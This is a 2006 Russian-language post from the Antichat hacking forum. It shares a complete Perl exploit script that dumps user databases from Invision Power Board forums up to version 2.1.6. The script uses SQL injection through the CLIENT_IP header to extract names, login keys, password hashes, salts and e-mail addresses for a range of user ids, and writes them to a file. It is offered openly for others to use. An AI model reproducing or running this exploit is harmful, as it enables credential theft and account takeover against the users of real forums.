ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

IPB 2.1.6 Modified for User Database Dump Rst Sploit
  #1  
Старый 29.08.2006, 02:07
Аватар для Driver
Driver
Познающий
Регистрация: 06.07.2006
Сообщений: 87
Провел на форуме:
464777

Репутация: 33
По умолчанию IPB 2.1.6 Modified for User Database Dump Rst Sploit

В общем на основе сплоита от РСТ для IPB <= 2.1.6 решил написать дампилку юзерской базы.
Писал для себя вообще, ну решил здесь выложить, может кому еще пригодится...
Впринципе удобно, весь процесс отображается в окне, а результат сохраняется в файле result.txt в каталоге в котором находится сплоит.
Формат данных:

Name: *
Login Key: *
Pass Hash: *
Pass Salt: *
E-Mail: *

Кому не нравится - большая просьба просто воздержаться от каких либо комментариев, ругани в свой адресс от античатовцев я наслушался уже достаточно.

Код:
#!/usr/bin/perl

use LWP::UserAgent;
use Getopt::Std;

getopts("p:i:P:f:t:");

$path   = $opt_p;
$from   = $opt_f; 
$to     = $opt_t;
$prefix = $opt_P || 'ibf_';

$|++;

if(!$path || !$from || !$to || ($from > $to)) { &usage; }
&head();
print "TEST FORUM ...";
if(get_info($prefix,$id,0) == 1) { print " FORUM VULNERABLE\n"; }
else { print " FORUM UNVULNERABLE\n"; exit(); }

open(RES,">result.txt");

for($i=$from;$i<$to;$i++) { get_info($prefix,$i,1); }

sub get_info($$$)
 {
 $xpl = LWP::UserAgent->new( ) or die;
 $rep = '';
if($_[2] == 1)
  {
  
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if(length($rep)!=32) { print "$_[1])\nName: $rep\n"; print RES "$_[1])\nName: $rep\n"; }
  else { print ""; }
  $name = $rep;
  
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT member_login_key,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.{32})"/) { $rep = $3; }
  if(length($name)==32) { print ""; }
  else { print "Login Key: $rep\n"; print RES "Login Key: $rep\n"; }
  
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT converge_pass_hash,1,1,1 FROM ${_[0]}members_converge WHERE converge_id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if(length($name)==32) { print ""; }
  else { print "Pass Hash: $rep\n"; print RES "Pass Hash: $rep\n"; }
    
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT converge_pass_salt,1,1,1 FROM ${_[0]}members_converge WHERE converge_id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if(length($rep)!=32) { print "Pass Salt: $rep\n"; print RES "Pass Salt: $rep\n"; }
  else { print ""; } 
 
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT email,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if(length($rep)!=32) { print "E-Mail: $rep\n\n"; print RES "E-Mail: $rep\n\n ****** \n\n"; }
  else { print ""; }
  }
 elsif($_[2] == 0)
  {
  $res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/**");
  if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
  if($rep eq 'VULN') { return 1; }
  else { return 0; }
  }
 }
 
sub usage()
 {
 &head();
 print "| Usage:                                     |\n"; 
 print "| <sploit>.pl -p [path] -f [u_id] -t [u_id]  |\n";
 print "| -p [path] ~ path to index.php              |\n";
 print "| -f [num]  ~ get data from this id          |\n";
 print "| -t [num]  ~ get data to this id            |\n";
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
 exit();
 }

sub head()
 {
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";   
 print "|          IPB <= 2.1.6 Users Dumper         |\n";
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
 print "|    Based on RST IPB <= 2.1.6 Mail Sploit   |\n";
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
 print "|             Modified by Driver             |\n";
 print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
 }
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
IPB 2.1.5 RST (DimaHbl4 edition) DimaHbl4 Форумы 39 25.08.2006 09:38
Как пофиксить баг в форумах IPB 2.1.5 и 2.1.6? Dimazzz Форумы 11 04.07.2006 12:20
Уязвимости Ipb 2.1.6 - есть вопрос spheere Форумы 0 27.05.2006 21:16
Как убрать копирайты в титле (powered by....) в Ipb 2.1.6? micle Форумы 6 16.05.2006 08:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ